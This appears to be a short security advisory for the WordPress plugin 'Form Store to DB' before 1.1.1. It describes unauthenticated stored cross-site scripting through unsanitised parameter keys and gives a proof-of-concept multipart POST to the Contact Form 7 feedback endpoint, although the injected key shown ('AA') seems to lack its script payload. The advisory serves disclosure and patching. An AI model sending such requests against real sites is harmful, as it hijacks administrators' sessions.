Form Store to DB < 1.1.1 - Unauthenticated Stored Cross-Site Scripting

The plugin does not sanitise and escape parameter keys before outputting it back in the created entry, allowing unauthenticated attacker to perform Cross-Site Scripting attacks against admin

PoC

POST /wp-json/contact-form-7/v1/contact-forms/1337/feedback HTTP/2 Content-Type: multipart/form-data; boundary=---------------------------243715402120191890871051639470 -----------------------------243715402120191890871051639470 Content-Disposition: form-data; name=“your-name” Attacker -----------------------------243715402120191890871051639470 Content-Disposition: form-data; name=“your-email” [email protected] -----------------------------243715402120191890871051639470 Content-Disposition: form-data; name=“your-subject” XSS Injection -----------------------------243715402120191890871051639470 Content-Disposition: form-data; name=“your-message” Sorry, not sorry. -----------------------------243715402120191890871051639470 Content-Disposition: form-data; name=“AA” Injected -----------------------------243715402120191890871051639470-- The XSS will be triggered when viewing the related Entry in the admin dashboard (/wp-admin/edit.php?post_type=cf7storetodbs)